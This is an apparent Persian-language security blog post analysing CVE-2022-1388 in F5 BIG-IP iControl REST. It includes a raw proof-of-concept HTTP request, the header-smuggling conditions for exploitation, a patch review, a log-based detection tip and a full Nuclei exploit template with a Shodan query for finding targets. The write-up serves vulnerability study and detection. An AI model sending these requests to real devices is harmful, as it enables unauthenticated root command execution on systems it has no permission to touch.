Skip to content

ONHEXGROUP

اخبار دنیای امنیت سایبری

  • اخبار
    • آسیب پذیری امنیتی
    • آنالیز بدافزار
    • کنفرانس ،دوره ، وبینار ، لایو ، CTF
    • بازیگران تهدید
    • توسعه اکسپلویت
    • افشای اطلاعات
    • باگ بانتی
    • تیم آبی
    • تیم قرمز
    • امنیت وب
  • دوره های آموزشی
    • دوره رایگان مهندسی معکوس نرم افزار
  • لیست های ویژه
    • موتورهای جستجو برای امنیت سایبری
    • کاتالوگ KEV آژانس CISA
    • آسیب پذیری های وردپرس
      • آسیب پذیری پلاگین ها
      • آسیب پذیری های هسته
      • آسیب پذیری تم ها
    • محصولات خارج از پشتیبانی مایکروسافت
      • محصولات مایکروسافتی که در سال 2022 پشتیبانی نمیشن
      • محصولات مایکروسافتی که در سال 2023 پشتیبانی نمیشن
      • لیست محصولات مایکروسافتی که در سال 2024 پشتیبانی نمیشن
      • لیست محصولات مایکروسافتی که در سال 2025 پشتیبانی نمیشن
    • معرفی فیلم ها و سریالهای مرتبط با هک و امنیت
  • آموزش های ویدیویی
  • انتشارات
    • مجله
    • مقالات
    • پادکست
  • پروژه ها
    • ماشین آسیب پذیر
      • وردپرس آسیب پذیر
  • حمایت مالی ( Donate)
  • تماس با ما
 
  • Home
  • اخبار
  • آسیب پذیری امنیتی
  • اخبار
  • توسعه اکسپلویت
  • مقالات

بررسی عمیق آسیب پذیری CVE-2022-1388

On دی 1, 1401دی 19, 1401
seyyid
Share
زمان مطالعه: 5 دقیقه

شرکت F5 اخیرا یک آسیب پذیری به شناسه CVE-2022-1388 رو اصلاح کرده. این آسیب پذیری در محصول BIG-IP و در قسمت iControl REST بود. این آسیب پذیری به دلیل اکسپلویت ساده و همچنین قابلیت اجرای دستور ، نگران کننده طبقه بندی شده بود. در این پست به بررسی عمیق این آسیب پذیری و همچنین نحوه نوشتن یک template برای ابزار nuclei می پردازیم.

کد PoC :

POST /mgmt/tm/util/bash HTTP/1.1 Host: 127.0.0.1 Authorization: Basic YWRtaW46aG9yaXpvbjM= X-F5-Auth-Token: asdf User-Agent: curl/7.82.0 Connection: X-F5-Auth-Token Accept: */* Content-Length: 39 {“command”:”run”,”utilCmdArgs”:”-c id”}

1
 

در کد بالا با ارسال یک درخواست http ، دستور id اجرا شده.

آنالیز عمیق:

سرویس iControl REST که یک برنامه جاوایی هست برای گوش دادن به پورت لوکالهاست 8100 اجرا میشه. این برنامه با یک وب سرور آپاچی که بعنوان reverse proxy کار میکنه ، در ارتباطه. این آسیب پدیری در مکانیسم احرازهویت بین آپاچی و iControl REST رخ میده.شکل زیر جریان درخواست کلاینت تا سرویس iControl REST رو نشون میده :

طبق دیاگرام بالا درخواست کلاینت به آپاچی میرسه و آپاچی برای بررسی احراز هویت اونو به mad_auth_pam.so میفرسته. این مولفه احراز هویت رو بررسی میکنه اگه مورد تایید نبود که هیچ اما اگه تایید بشه به سرویس iControl REST می فرسته. ماژول mad_auth_pam.so در F5 یک ماژول سفارشی آپاچی هستش که برخی از احرازهویت هارو انجام میده. این ماژول دو تا هوک با استفاده از ap_hook_check_authz و ap_hook_check_access_ex ثبت میکنه.

شکل زیر دیس اسمبل شده این تابع هست :

همونطور که میبینید این تابع کارای مختلفی رو انجام میده اما با زوم کردن روی قسمت احراز هویت شکل زیر رو داریم:

همونطور که در شکل قابل مشاهده هست ، تابع ابتدا هدر X-F5-Auth-Token رو بررسی میکنه. اگر هدر موجود بود درخواست به سرویس iControl REST ارسال می شود. اگر نبود هدر Authorization بررسی می شود و در صورتیکه این قسمت معتبر نبود ، درخواست کلا رد می شود.

درخواستیکه به iControl REST ارسال شده مقدار X-F5-Auth-Token توسط EvaluatePermissions.java بررسی میشه،اگر معتبر نباشه رد میشه.

با توجه به کد بالا اگه مقدار X-F5-Auth-Token وجود نداشته باشه ، اجرا در completeEvaluatePermission ادامه داره.

اگه به کد بالا نگاه کنید setBasicAuthFromIdentity اجرا میشه که کار این تابع تبدیل اطلاعات هویتی به اطلاعات احراز هویتی هستش.(نام کاربری و … رو ست میکنه ). اطلاعات هویتی توسط setIdentityFromBasicAuth در RestOperationIdentifier.java تکمیل میشه.

اگه به کدهای بالا دقت کنید اگه هدر X-Forwarded-Host شامل عبارت 127.0.0.1 یا localhost باشه، نام کاربری استخراج شده و بدون بررسی پسورد در قسمت اطلاعات احراز هویت قرار میگیرد.این یعنی اینکه اگه ما مقدار HOST رو برابر localhost قرار بدیم ، می تونیم با اعتبارنامه ای مثله admin:<anypass> بررسی مجوز توسط completeEvaluatePermission رو دور بزنیم و ادمین بشیم.

اینجا دو تا مشکل داریم . یکی اینکه ما نمیتونیم بررسی احراز هویت در mod_auth_pam.so رو بدون ست کردن X-F5-Auth-Token رد کنیم و همچنین نمیتونیم تایید سرویس REST رو با یک توکن معتبر X-F5-Auth-Token رد کنیم.خب اگه اینارو هم ست کنیم نمیتونیم با ست کردن 127.0.0.1 یا localhost بدون پسورد بررسی مجوزهارو دور بزنیم.

احتمالا با keep-alive و close در هدر Connection آشنا هستید، اما این هدر میتونه بعنوان کلاینت های پروکسی هم استفاده بشه که به پروکسی میگه بعضی هدرها قبل از ارسال درخواست باید حذف بشن.

با توجه به این نکته و اینکه هدرهای X-F5-Auth-Token در mod_auth_pam.so قبل از پردازش هدر Connection بررسی میشن ، ما میتونیم با ست کردن X-F5-Auth-Token در Connection ، بررسی توکن در mod_auth_pam.so رو دور بزنیم و با حذف این توکن با توجه به نکته بالا درخواست رو بدون توکن X-F5-Auth-Token به سرویس iControl REST برسونیمو از /mgmt/tm/util/bash برای اجرای دستورات با امتیاز root استفاده کنیم.

بررسی اصلاحیه :

اگه به وصله ای که F5 ارائه داده هم نگاهی کنیم میبینیم که اغلب اصلاحیه ها تو mod_auth_pam.so بوده که اومده و هدر Connection رو بررسی کرده که مقداری براش ست نکرده باشن.

همچنین تایید X-F5-Auth-Token به این تابع منتقل شده و AuthTokenWorker.java در سرویس iControl REST بروز شده تا مطمئن بشه که cache روی دیسک نوشته میشه ، که احتمالا به این دلیله که mod_auth_pam.so بتونه به درستی توکن تایید کنه.

پس بطورکلی برای اینکه بتونیم سیستم رو اکسپلویت کنیم موارد زیر داریم :

1- هدر Connection باید با مقدار X-F5-Auth-Token ست بشه.

2- هدر X-F5-Auth-Token باید حتما وجود داشته باشه.

3- هدر Host باید مقدار 127.0.0.1 یا localhost ست بشه یا هم هدر connection باید مقدار X-Forwarded-Host ست بشه.

4- هدر Auth باید یوزرنیم ادمین و یه پسورد دلخواه رو داشته باشه.

شناسایی سیستم هک شده :

با بررسی فایل لاگ در /var/log/audit و مشاهده دستورات اجرایی مختلف با mgmt/tm/util/bash ممکنه نشون دهنده این باشه که سیستم شما هک شده.

بررسی Nuclei Template برای این آسیب پذیری:

برای این آسیب پذیری چند تا تمپلت ارائه شده که برخیاش چک میکنن و برخیاش برای اکسپلویت هستش. تو این پست یک تمپلت که توسط dwisiswant0 نوشته شده رو بررسی میکنیم .

البته توسعه این اکسپلویت با پایتون و پاورشل و … هم سخت نیست اما Nuclei یه چیز جمع و جوریه 🙂

اگه با نحوه آسیب پذیری آشنا شده باشید و نحو تمپلت نویسی برای Nuclei رو بدونید ، نوشتن تمپلت برای این آسیب پذیری ساده هستش. اگه با نحو تمپلت نویسی آشنا نیستید میتونید تو شماره اول نشریه ONHEXmag جزییات زیادی در موردش بخونید.

تمپلت ها با یه id شروع میشن که مشخص کننده شناسه این تمپلت هستش و بعد از اون قسمت info میاد که توش اطلاعاتی در مورد آسیب پذیری ، شدت اون و نویسنده و … توش ذکر میشه که نیاز به توضیح زیادی نداره.

خب ما تا اینجا از تمپلت این مقدارش داریم :

id: CVE-2022-1388

info:

name: F5 BIG-IP iControl REST Auth Bypass RCE
author: dwisiswant0
severity: critical
description: |
This vulnerability may allow an unauthenticated attacker
with network access to the BIG-IP system through the management
port and/or self IP addresses to execute arbitrary system commands,
create or delete files, or disable services. There is no data plane
exposure; this is a control plane issue only.
reference:
- https://twitter.com/GossiTheDog/status/1523566937414193153
- https://support.f5.com/csp/article/K23605346
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.80
cve-id: CVE-2022-1388
cwe-id: CWE-306
metadata:
shodan-query: http.title:"BIG-IP&reg;-+Redirect" +"Server"
verified: true
tags: bigip,cve,cve2022,rce,mirai

variables:
auth: "admin:"

requests:
- raw:
- |
POST /mgmt/tm/util/bash HTTP/1.1
Host: {{Hostname}}
Connection: keep-alive, X-F5-Auth-Token
X-F5-Auth-Token: a
Authorization: Basic {{base64(auth)}}
Content-Type: application/json
{
"command": "run",
"utilCmdArgs": "-c id"
}

 

برای اینکه بدونیم دستور ما اجرا شده نیاز به بررسی داریم که این کار توسط بخش matchers تو تمپلتها انجام میشه. matchers ما از نوع word هستش یعنی باید دنبال کلمه تو پاسخ باشه. کلماتی هم که باید بررسی بشه عبارات “commandResult” و “uid=” هستند و چون شرط and گذاشتیم ، باید هر دو کلمه در پاسخ وجود داشته باشند تا تمپلت با موفقیت اجرا شده دونسته بشه.

1
2
3
4
5
6
matchers:
      - type: word
        words:
          - "commandResult"
          - "uid="
        condition: and

 

اشتراک در شبکه های اجتماعی :

Facebook
Twitter
Pinterest
LinkedIn
In آسیب پذیری امنیتی اخبار توسعه اکسپلویت مقالاتIn CVE-2022-1388 , F5 BIG-IP , nuclei-templates

راهبری نوشته

هشدار F5 در خصوص آسیب پذیری با شناسه CVE-2022-1388 در BIG-IP
بررسی Patch Tuesday مایکروسافت برای مه 2022 (اردیبهشت 1401)

دسته‌ها

  • Osint
  • آسیب پذیری امنیتی
  • آموزش های ویدیویی
  • آنالیز بدافزار
  • اخبار
  • افشای اطلاعات
  • امنیت وب
  • انتشارات
  • اینترنت اشیاء
  • بازیگران تهدید
  • باگ بانتی
  • پادکست
  • پروژه ها
  • توسعه اکسپلویت
  • تیم آبی
  • تیم قرمز
  • دوره های آموزشی
  • فازینگ
  • کنفرانس ،دوره ، وبینار ، لایو ، CTF
  • لیست های ویژه
  • ماشین آسیب پذیر
  • مجله
  • مقالات
  • مهندسی معکوس نرم افزار

پست های مرتبط

  • اخبار
  • بازیگران تهدید
  • تیم آبی
  • مقالات
seyyid
On شهریور 6, 1402شهریور 5, 1402

ابزارهایی برای محافظت از تهدیدات فیزیکی

  • اخبار
  • افشای اطلاعات
  • بازیگران تهدید
seyyid
On بهمن 14, 1402بهمن 16, 1402

حمله سایبری به AnyDesk

  • آسیب پذیری امنیتی
  • اخبار
seyyid
On تیر 29, 1402تیر 29, 1402

اصلاح سه آسیب پذیری در NetScaler ADC و NetScaler Gateway

  • آسیب پذیری امنیتی
  • اخبار
  • امنیت وب
  • اینترنت اشیاء
  • باگ بانتی
  • توسعه اکسپلویت
  • تیم قرمز
  • کنفرانس ،دوره ، وبینار ، لایو ، CTF
  • مهندسی معکوس نرم افزار
seyyid
On خرداد 26, 1402

کنفرانس NAHAMCON 2023

درباره ما

بعد از چندین سال فعالیت تو حوزه امنیت سایبری و تولید محتوا در شبکه های اجتماعی ، بالاخره تصمیم گرفتیم تا یه سایت راه اندازی کنیم و مطالب رو ساده تر ، در یک محیط منسجم و طبقه بندی شده به دست مخاطب برسونیم. امیدوارم که قدمی در راستای رشد امنیت سایبری کشورمون برداشته باشیم.

تگ ها

0day APT command injection Deserialization of Untrusted Data Directory Traversal FBI Fortinet Heap buffer overflow integer overflow kali LockBit Memory Corruption nuclei out-of-bounds write Out of bounds read Patch Tuesday PWN2OWN Stack Buffer overflow type confusion use after free vulnerable wordpress XSS ZDI vulnerability آموزش اکسپلویت نویسی ارز دیجیتال اندروید اپل اکسپلویت باج افزار تلگرام زیرودی سیسکو فارنزیک فورتی نت فیشینگ لاک بیت لینوکس مایکروسافت هوش مصنوعی وردپرس وردپرس آسیب پذیر ویندوز پلاگین کروم گوگل

شبکه های اجتماعی

    • Instagram
    • Telegram
    • Twitter
    • GitHub
    • YouTube
    • LinkedIn
      کپی مطالب با ذکر منبع بلامانع است | 1401-1404